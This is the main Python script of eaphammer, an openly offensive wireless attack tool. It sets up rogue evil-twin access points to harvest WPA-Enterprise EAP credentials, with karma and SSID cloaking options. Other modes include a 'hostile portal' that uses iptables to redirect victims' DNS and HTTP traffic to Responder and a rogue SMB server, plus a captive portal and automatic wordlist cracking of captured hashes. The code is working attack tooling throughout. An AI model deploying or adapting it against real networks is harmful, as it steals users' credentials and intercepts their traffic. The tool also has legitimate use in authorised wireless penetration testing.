eaphammer

#!/usr/bin/env python

import sys
import os
import config
import time

from core import cert_manager, conf_manager, utils, responder, services
from core.servers.redirect_server import RedirectServer
from core.autocrack import Autocrack
from argparse import ArgumentParser
from config import __version__

def cert_wizard():

    while True:

        print ('[*] Please enter two letter country '
                            'code for certs (i.e. US, FR)')

        country = raw_input(': ').upper()
        if len(country) == 2:
            break
        print '[!] Invalid input.'

    print ('[*] Please enter state or province for '
                        'certs (i.e. Ontario, New Jersey)')
    state = raw_input(': ')

    print '[*] Please enter locale for certs (i.e. London, Hong Kong)'
    locale = raw_input(': ')

    print '[*] Please enter organization for certs (i.e. Evil Corp)'
    org = raw_input(': ')

    print '[*] Please enter email for certs (i.e. cyberz@h4x0r.lulz)'
    email = raw_input(': ')

    print '[*] Please enter common name (CN) for certs.'
    cn = raw_input(': ')

    cert_manager.ca_cnf.configure(country, state, locale, org, email, cn)
    cert_manager.server_cnf.configure(country, state, locale, org, email, cn)
    cert_manager.client_cnf.configure(country, state, locale, org, email, cn)

    cert_manager.bootstrap()

def hostile_portal():
    global responder

    daemons = []

    try:
    
        # start autocrack if enabled
        if options['use_autocrack']:

            autocrack = Autocrack.get_instance()
            autocrack.configure(wordlist=options['wordlist'])
            autocrack.start()
            daemons.append(autocrack)

        # prepare environment
        utils.nmcli.set_unmanaged(options['interface'])
        utils.set_ipforward(1)

        # initialize access point
        if options['auth'] == 'open':
            conf_manager.hostapd_open_cnf.configure(
                        interface=options['interface'],
                        ssid=options['essid'],
                        hw_mode=options['hw_mode'],
                        bssid=options['bssid'],
                        channel=options['channel'],
                        cloaking=options['cloaking'],
                        karma=options['karma'],
            )
        else:
            conf_manager.hostapd_wpe_cnf.configure(
                        interface=options['interface'],
                        ssid=options['essid'],
                        hw_mode=options['hw_mode'],
                        bssid=options['bssid'],
                        channel=options['channel'],
                        wpa=options['wpa'],
                        karma=options['karma'],
                        use_autocrack=options['use_autocrack'],
                        cloaking=options['cloaking'],
                        eaphammer_fifo_path=config.fifo_path,
            )

        services.Hostapd.hardstart('%s ' % config.hostapd_cnf, verbose=False)

        # configure routing 
        os.system('ifconfig %s 10.0.0.1 netmask 255.255.255.0' %\
                                                         options['interface'])
        os.system('route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1')

        # configure dnsmasq
        conf_manager.dnsmasq_captive_portal_cnf.configure(
                                        interface=options['interface'],
                                        log_file=config.dnsmasq_log,
                                        dhcp_script=config.dhcp_script,
        )
        
        services.Dnsmasq.hardstart('-C %s 2>&1' % config.dnsmasq_cnf)

        # start RedirectServer
        rs = RedirectServer.get_instance()
        rs.configure('10.0.0.1')
        rs.start()
        daemons.append(rs)

        # start Responder
        if options['pivot']:

            print '[*] Pivot mode activated. Rogue SMB server disabled.'
            print ('[*] Run payload_generator to '
                        'generate a timed payload if desired.')
            conf_manager.responder_cnf.configure(smb=False)
        else:
            conf_manager.responder_cnf.configure(smb=True)
        resp = responder.Responder.get_instance()
        resp.configure(interface=options['interface'])
        resp.start()
        daemons.append(resp)

        # set iptables policy, flush all tables for good measure
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')

        # use iptables to redirect all DNS and HTTP(S) traffic to PHY
        utils.Iptables.route_dns2_addr('10.0.0.1', options['interface'])
        utils.Iptables.route_http2_addr('10.0.0.1', options['interface'])

        # pause execution until user quits
        raw_input('Press enter to quit...')

        # kill base services
        services.Hostapd.kill()
        services.Dnsmasq.kill()

        # stop additional daemon processes
        for d in daemons:
            d.stop()

        # restore iptables to a clean state (policy, flush tables)
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')


        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])


    except KeyboardInterrupt:
    
        # terminate base services
        services.Hostapd.kill()
        services.Dnsmasq.kill()

        # stop additional daemon processes
        for d in daemons:
            d.stop()
        
        # restore iptables to a clean state (policy, flush tables)
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')

        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])

def captive_portal():

    daemons = []

    try:

        # prepare environment
        utils.set_ipforward(1)
        utils.nmcli.set_unmanaged(options['interface'])

        # start autocrack if enabled
        if options['use_autocrack']:

            autocrack = Autocrack.get_instance()
            autocrack.configure(wordlist=options['wordlist'])
            autocrack.start()
            daemons.append(autocrack)

        # initialize access point
        if options['auth'] == 'open':
            conf_manager.hostapd_open_cnf.configure(
                        interface=options['interface'],
                        ssid=options['essid'],
                        hw_mode=options['hw_mode'],
                        bssid=options['bssid'],
                        channel=options['channel'],
						cloaking=options['cloaking'],
                        karma=options['karma'],
            )
        else:
            conf_manager.hostapd_wpe_cnf.configure(
                        interface=options['interface'],
                        ssid=options['essid'],
                        hw_mode=options['hw_mode'],
                        bssid=options['bssid'],
                        channel=options['channel'],
                        wpa=options['wpa'],
                        karma=options['karma'],
						cloaking=options['cloaking'],
                        use_autocrack=options['use_autocrack'],
                        eaphammer_fifo_path=config.fifo_path,
            )

        services.Hostapd.hardstart('%s' % config.hostapd_cnf, verbose=False)

        # configure routing 
        os.system('ifconfig %s 10.0.0.1 netmask 255.255.255.0' %\
                                                     options['interface'])
        os.system('route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1')

        # configure dnsmasq
        conf_manager.dnsmasq_captive_portal_cnf.configure(
                                        interface=options['interface'],
                                        log_file=config.dnsmasq_log,
                                        dhcp_script=config.dhcp_script)
        
        services.Dnsmasq.hardstart('-C %s 2>&1' % config.dnsmasq_cnf)

        # start httpd
        services.Httpd.start()

        # set iptables policy, flush all tables for good measure
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')

        # use iptables to redirect all DNS and HTTP(S) traffic to PHY
        utils.Iptables.route_dns2_addr('10.0.0.1', options['interface'])
        utils.Iptables.route_http2_addr('10.0.0.1', options['interface'])
        
        # pause execution until user quits
        raw_input('press enter to quit...')

        # terminate base services
        services.Hostapd.kill()
        services.Dnsmasq.kill()
        services.Httpd.stop()

        # stop additional daemon processes
        for d in daemons:
            d.stop()
        
        # restore iptables to a clean state (policy, flush tables)
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')

        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])

    except KeyboardInterrupt:

        # terminate base services
        services.Hostapd.kill()
        services.Dnsmasq.kill()
        utils.Httpd.stop()

        # stop additional daemon processes
        for d in daemons:
            d.stop()
        
        # restore iptables to a clean state (policy, flush tables)
        utils.Iptables.accept_all()
        utils.Iptables.flush()
        utils.Iptables.flush('nat')

        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])

def reap_creds():

    try:
    
        daemons = []

        # start autocrack if enabled
        if options['use_autocrack']:

            autocrack = Autocrack.get_instance()
            autocrack.configure(wordlist=options['wordlist'])
            autocrack.start()
            daemons.append(autocrack)

        conf_manager.hostapd_wpe_cnf.configure(
                    interface=options['interface'],
                    ssid=options['essid'],
                    hw_mode=options['hw_mode'],
                    bssid=options['bssid'],
                    channel=options['channel'],
                    wpa=options['wpa'],
                    karma=options['karma'],
                    cloaking=options['cloaking'],
                    use_autocrack=options['use_autocrack'],
                    eaphammer_fifo_path=config.fifo_path,
        ) 

        utils.nmcli.set_unmanaged(options['interface'])
        services.Hostapd.hardstart('%s ' % config.hostapd_cnf, verbose=False)

        # pause execution until user quits
        raw_input('press enter to quit...')

        # kill hostapd
        services.Hostapd.kill()

        # kill additional daemon processes
        for d in daemons:
            d.stop()

        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])

    except KeyboardInterrupt:

        # kill hostapd
        services.Hostapd.kill()

        # kill additional daemon processes
        for d in daemons:
            d.stop()

        # cleanly allow network manager to regain control of interface
        utils.nmcli.set_managed(options['interface'])

def set_options():


    parser = ArgumentParser()

    parser.add_argument('--cert-wizard',
                    dest='cert_wizard',
                    action='store_true',
                    help=('Use this flag to create a new '
                          'RADIUS cert for your AP'))

    parser.add_argument('-i', '--interface',
                    dest='interface',
                    type=str,
                    help='The phy interface on which to create the AP')

    parser.add_argument('-e', '--essid',
                    dest='essid',
                    default='eaphammer',
                    type=str,
                    help='Specify access point ESSID')

    parser.add_argument('-b', '--bssid',
                    dest='bssid',
                    default='00:11:22:33:44:00',
                    type=str,
                    help='Specify access point BSSID')

    parser.add_argument('--hw-mode',
                    dest='hw_mode',
                    type=str,
                    default='g',
                    help='Specify access point hardware mode (default: g).')

    parser.add_argument('-c', '--channel',
                    dest='channel',
                    type=int,
                    default=1,
                    help='Specify access point channel')

    parser.add_argument('--wpa',
                    dest='wpa',
                    type=int,
                    choices=[1, 2],
                    default=2,
                    help='Specify WPA type (default: 2).')

    parser.add_argument('--auth',
                    dest='auth',
                    type=str,
                    choices=['peap', 'ttls', 'open'],
                    default='open',
                    help='Specify auth type (default: open).')

    parser.add_argument('--cloaking',
					dest='cloaking',
					choices=['none', 'full', 'zeroes'],
					default='none',
					help='Send empty SSID in beacons and ignore probe request '
						 'frames that do not specify full SSID (i.e. require '
						 'stations to know SSID). Choices: [1. none - do '
						 'not use SSID cloaking. ] [2. full - Send empty string'
						 ' in beacon and ignore probe requests for broadcast '
						 'SSID ] [3. zeroes - Replace all characters in SSID '
						 'with ASCII 0 and ignore probe requests for '
						 'broadcast SSID.]')

    parser.add_argument('--creds',
                    dest='reap_creds',
                    action='store_true',
                    help='Harvest EAP creds using evil twin attack')

    parser.add_argument('--hostile-portal',
                    dest='hostile_portal',
                    action='store_true',
                    help='Force clients to connect to hostile portal')

    parser.add_argument('--captive-portal',
                    dest='captive_portal',
                    action='store_true',
                    help='Force clients to connect to a captive portal')

    parser.add_argument('--pivot',
                    dest='pivot',
                    action='store_true',
                    help='Use this flag to perform an indirect wireless pivot')

    parser.add_argument('--karma',
                    dest='karma',
                    action='store_true',
                    help='Enable karma.')

    parser.add_argument('--remote-autocrack',
                    dest='remote_autocrack',
                    metavar='hostname:port',
                    type=str,
                    help='Use autocrack n add with remote cracking rig.')

    parser.add_argument('--wordlist',
                    dest='wordlist',
                    default=config.default_wordlist,
                    type=str,
                    help='Specify the wordlist to use with '
                         'the autocrack feature.')

    parser.add_argument('--local-autocrack',
                    dest='local_autocrack',
                    action='store_true',
                    help='Use internal autocrack n add feature')

    args = parser.parse_args()

    options = args.__dict__

    if options['cert_wizard'] == False:

        if options['interface'] is None:
        

            parser.print_usage()
            msg = (
                '[!] Please specify a valid PHY '
                'interface using the --interface flag'
            )
            print
            print msg
            sys.exit()

    if options['remote_autocrack'] is not None:
        print
        print '[!] This feature has not been implemented yet.'
        sys.exit()
        options['use_autocrack'] = True
    elif options['local_autocrack']:
        options['use_autocrack'] = True
    else: 
        options['use_autocrack'] = False

    return options

def print_banner():


    print '''
                     .__                                         
  ____ _____  ______ |  |__ _____    _____   _____   ___________ 
_/ __ \\\\__  \\ \\____ \\|  |  \\\\__  \\  /     \\ /     \\_/ __ \\_  __ \\
\\  ___/ / __ \\|  |_> >   Y  \\/ __ \\|  Y Y  \\  Y Y  \\  ___/|  | \\/
 \\___  >____  /   __/|___|  (____  /__|_|  /__|_|  /\\___  >__|   
     \\/     \\/|__|        \\/     \\/      \\/      \\/     \\/       

                                v%s
    ''' % (__version__)

if __name__ == '__main__':

    print_banner()

    options = set_options()

    if options['cert_wizard']:
        cert_wizard()
    elif options['captive_portal']:
        captive_portal()
    elif options['hostile_portal']:
        hostile_portal()
    else:
        reap_creds()